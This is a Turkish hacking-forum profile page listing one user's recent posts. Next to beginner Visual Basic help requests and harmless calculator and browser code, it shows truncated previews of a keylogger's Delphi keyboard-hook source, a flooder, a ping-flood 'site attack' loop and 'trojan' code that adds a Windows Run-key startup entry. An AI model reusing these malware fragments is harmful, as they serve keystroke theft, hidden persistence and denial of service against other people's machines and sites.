adanalı2 kullanıcısının son içeriği
-
A
visual basic hk.
Microsoft Visual C ye başlıcam ama internetten indiremedim download linki atabilecek olan varmı- adanalı2
- Konu
- Cevaplar: 3
- Forum: THT Yardım Merkezi
-
A
Çözüldü isim değişikliği
isim değiştirme imkanımız varmı- adanalı2
- Konu
- Cevaplar: 6
- Forum: THT Yardım Merkezi
-
A
yardım
visual basicde web browser yapıyorum ama run-time error'1 (fffffff)' hatası alıyorum yardım edebilecek varmı- adanalı2
- Konu
- Cevaplar: 2
- Forum: THT Yardım Merkezi
-
A
yardım
sa ben rarlı dosyaya şifre koymak istiyorum bunu nasıl yapabilirim- adanalı2
- Konu
- Cevaplar: 5
- Forum: THT Yardım Merkezi
-
A
Keylogger kaynak kodu
Bİ KEYLOGGER KAYNAK KODU: library KBHook; uses Windows, Messages; type PHWND = ^HWND; const WM_KEYBOARD_HOOK = WM_USER + 52012; var hHook: LongWord = 0; Key: Word; KeyboardLayout: HKL; GetShiftKeys: Boolean; hWndBuffer: PHWND; hMMF: THandle; function KeyboardProc(nCode: Integer; wParam... -
A
MİPONY(otomatik dosya indirme programı)
Mipony ile Rapidshare, Megaupload, Hotfiles ve diğer popüler dosya barındırma sitelerinden indirme işlemi yapabilirsiniz. Mipony, premium hesaplar ile de çalışabiliyor. Şu an Megaupload, Rapidshare, Hotfile, Easy-share, Gigasize, Mediafire, Depositefiles, Filefactory, Uploading, 4shared gibi...- adanalı2
- Konu
- Cevaplar: 0
- Forum: Program Bölümü
-
A
tüm işlemler
Private Sub Command1_Click() Dim s1, s2, ort As Integer s1 = Val(Text1.Text) s2 = Val(Text2.Text) ort = (s1 + s2) Command1.Caption = ort End Sub Private Sub Command2_Click() Dim s3, s4, ort As Integer s3 = Val(Text3.Text) s4 = Val(Text4.Text) ort = (s3 * s4) Command2.Caption = ort End Sub...- adanalı2
- Konu
- Cevaplar: 2
- Forum: Visual Basic
-
A
Flooder yapımı
Private Sub Başlat_Click() Timer1.Enabled = True Timer2.Enabled = True End Sub Private Sub Command1_Click() Timer1.Enabled = True Timer2.Enabled = True End Sub Private Sub Durdur_Click() Timer1.Enabled = False Timer2.Enabled = False End Sub Private Sub Command2_Click() Timer1.Enabled =...- adanalı2
- Konu
- Cevaplar: 0
- Forum: Visual Basic
-
A
hesap makinesi
Private Sub Command1_Click() Label1.Caption = Val(Text1.Text) + Val(Text2.Text) End Sub Private Sub Command2_Click() Label1.Caption = Val(Text1.Text) - Val(Text2.Text) End Sub Private Sub Command3_Click() Label1.Caption = Val(Text1.Text) * Val(Text2.Text) End Sub Private Sub...- adanalı2
- Konu
- Cevaplar: 3
- Forum: Visual Basic
-
A
web browser
Private Sub Command1_Click() WebBrowser1.Navigate "http://www.ipadresi.org" Text1.Text = "" Text1.Enabled = True Text1.Locked = False Timer1.Enabled = False Timer2.Enabled = False End Sub Private Sub Command2_Click() Unload Me End Sub Private Sub Form_Load() WebBrowser1.Navigate...- adanalı2
- Konu
- Cevaplar: 0
- Forum: Visual Basic
-
A
site saldırı
Private Sub Command1_Click() Timer1.Enabled = True End Sub Private Sub Command2_Click() Timer1.Enabled = False End Sub Private Sub Timer1_Timer() Shell ("ping text1.text -t") End Sub- adanalı2
- Konu
- Cevaplar: 5
- Forum: Visual Basic
-
A
trojan yapmak
Private Sub Form_Load() Dim KayitDefteri As Object Set KayitDefteri = CreateObject("wscript.shell") KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" On Error Resume Next Dim yol, ad, TamYol yol =...- adanalı2
- Konu
- Cevaplar: 3
- Forum: Visual Basic
-
A
Başlangıç eklemek
Dim KayitDefteri As Object Set KayitDefteri = CreateObject("wscript.shell") KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"- adanalı2
- Konu
- Cevaplar: 0
- Forum: Visual Basic
